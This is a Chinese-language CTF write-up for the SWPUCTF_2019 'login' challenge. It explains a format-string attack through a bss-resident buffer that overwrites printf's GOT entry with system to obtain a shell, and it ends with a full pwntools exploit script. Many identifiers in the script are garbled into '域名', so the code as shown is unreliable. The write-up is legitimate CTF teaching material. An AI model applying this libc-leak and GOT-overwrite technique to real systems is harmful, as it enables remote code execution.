SWPUCTF_2019_login(格式字符串偏移bss段)
时间:2021-12-19 作者:zhuangzhouQAQ
题目的例行检查我就不放了,将程序放入ida中
很明显的值放入了bss段的格式字符串,所以我们动态调试一下程序
可以看到ebp这个地方0xffd0dd17-->0xffd0dd38-->0xffd0dd48这个指针链接,而ebp这个的值是%6$p的偏移,所以我们可以通过修改%6这里的指针处往0xffd0dd48这里覆盖位printf_got表的位置
相关代码为
可以看到我们成功的在a8也就是偏移为%14的这里写上了printf_got的地址(ebp指针不一样因为我重新打开的,不要介意)
然后再将%15的位置覆盖为printf_got+1的地址(说实话,我也不知道这步是为什么,)
相关代码为
可以看到成功将%14和%15的偏移处修改为了printf@got的地址,然后我们可以将system的地址覆盖到这里,这样当我们输入/bin/sh的时候就可以拿到shell了
相关代码
因为这里我们是一步完成的,所以我们需要再减去0x10的长度
可以看到我们成功的将这里的指针覆盖为了system的地址
完整exp如下
from pwn import * import time p = process(\'./pwn1\') #p = remote(\'域名\',26202) libc = ELF(\'./libc-域名-域名\') 域名lineafter(\'name:\',\'aa\') 域名lineafter(\'password:\',\'%15$p\') 域名until(\'0x\') #10 14 __libc_start_main = int(域名until(\'\n\',drop=True),16)-0xf1 libc_base = __libc_start_main - 域名ols[\'__libc_start_main\'] print(\'libc_base-->\'+hex(libc_base)) system = libc_base + 域名[\'system\'] print(\'system-->\'+hex(system)) 域名lineafter(\'Try again!\',\'%6$p\') 域名until(\'0x\') strack_addr0 = int(域名until(\'\n\',drop=True),16) print(\'strack_addr0-->\'+hex(strack_addr0)) #0xffda2994 域名lineafter(\'Try again!\',\'%10$p\') 域名until(\'0x\') strack_addr1 = int(域名until(\'\n\',drop=True),16) print(\'strack_addr1-->\'+hex(strack_addr1)) #0xffd2a9a4 #print_got 0x0804b014 cmd = \'b *0x08048575\n\'
#strack_addr1的值就是ebp第二的指针
#---------------将%14的偏移的地址处修改为print_got的地址---------- payload = \'%\'+str(0x14)+\'c\'+\'%10$hhn\' 域名lineafter(\'Try again!\n\',payload) #14 payload1 = \'%\'+str((strack_addr1 & 0xff)+1)+\'c\'+\'%6$hhn\' 域名lineafter(\'Try again!\n\',payload1) payload2 = \'%\'+str(0xb0)+\'c\'+\'%10$hhn\' 域名lineafter(\'Try again!\n\',payload2) #b0 payload3 = \'%\'+str((strack_addr1 & 0xff)+2)+\'c\'+\'%6$hhn\' 域名lineafter(\'Try again!\n\',payload3) payload4 = \'%\'+str(0x04)+\'c\'+\'%10$hhn\' 域名lineafter(\'Try again!\n\',payload4) #04 payload5 = \'%\'+str((strack_addr1 & 0xff)+3)+\'c\'+\'%6$hhn\' 域名lineafter(\'Try again!\n\',payload5) payload6 = \'%\'+str(0x08)+\'c\'+\'%10$hhn\' 域名lineafter(\'Try again!\n\',payload6) #08 #-------------------将%15的偏移处的地址覆盖为printf_got+1的地址------------------------------- strack_addr1 = strack_addr1 + 4 payload1 = \'%\'+str(strack_addr1 & 0xff)+\'c\'+\'%6$hhn\' 域名lineafter(\'Try again!\n\',payload1) payload2 = \'%\'+str(0x15)+\'c\'+\'%10$hhn\' 域名lineafter(\'Try again!\n\',payload2) #15 payload3 = \'%\'+str((strack_addr1 & 0xff)+1)+\'c\'+\'%6$hhn\' 域名lineafter(\'Try again!\n\',payload3) payload4 = \'%\'+str(0xb0)+\'c\'+\'%10$hhn\' 域名lineafter(\'Try again!\n\',payload4) #b0 payload5 = \'%\'+str((strack_addr1 & 0xff)+2)+\'c\'+\'%6$hhn\' 域名lineafter(\'Try again!\n\',payload5) payload6 = \'%\'+str(0x04)+\'c\'+\'%10$hhn\' 域名lineafter(\'Try again!\n\',payload6) #04 payload7 = \'%\'+str((strack_addr1 & 0xff)+3)+\'c\'+\'%6$hhn\' 域名lineafter(\'Try again!\n\',payload7) payload8 = \'%\'+str(0x08)+\'c\'+\'%10$hhn\' 域名lineafter(\'Try again!\n\',payload8) #08 #------------------修改为system的地址---------------------------- payload = \'%\'+str(system & 0xff)+\'c\'+\'%14$hhn\' payload += \'%\'+str(((system & 0xffff00)>>8)-0x10)+\'c\'+\'%15$hn\' print(hex(((system & 0xffff00)>>8)-0x10)) 域名lineafter(\'Try again!\n\',payload) 域名p(0.5) 域名line(\'/bin/sh\') 域名ch(p,cmd) 域名ractive()
题后修补:注意第一次修改%6的偏移是为了修改指针指向的地址然后修改%10的值是修改地址指针上面的值
结束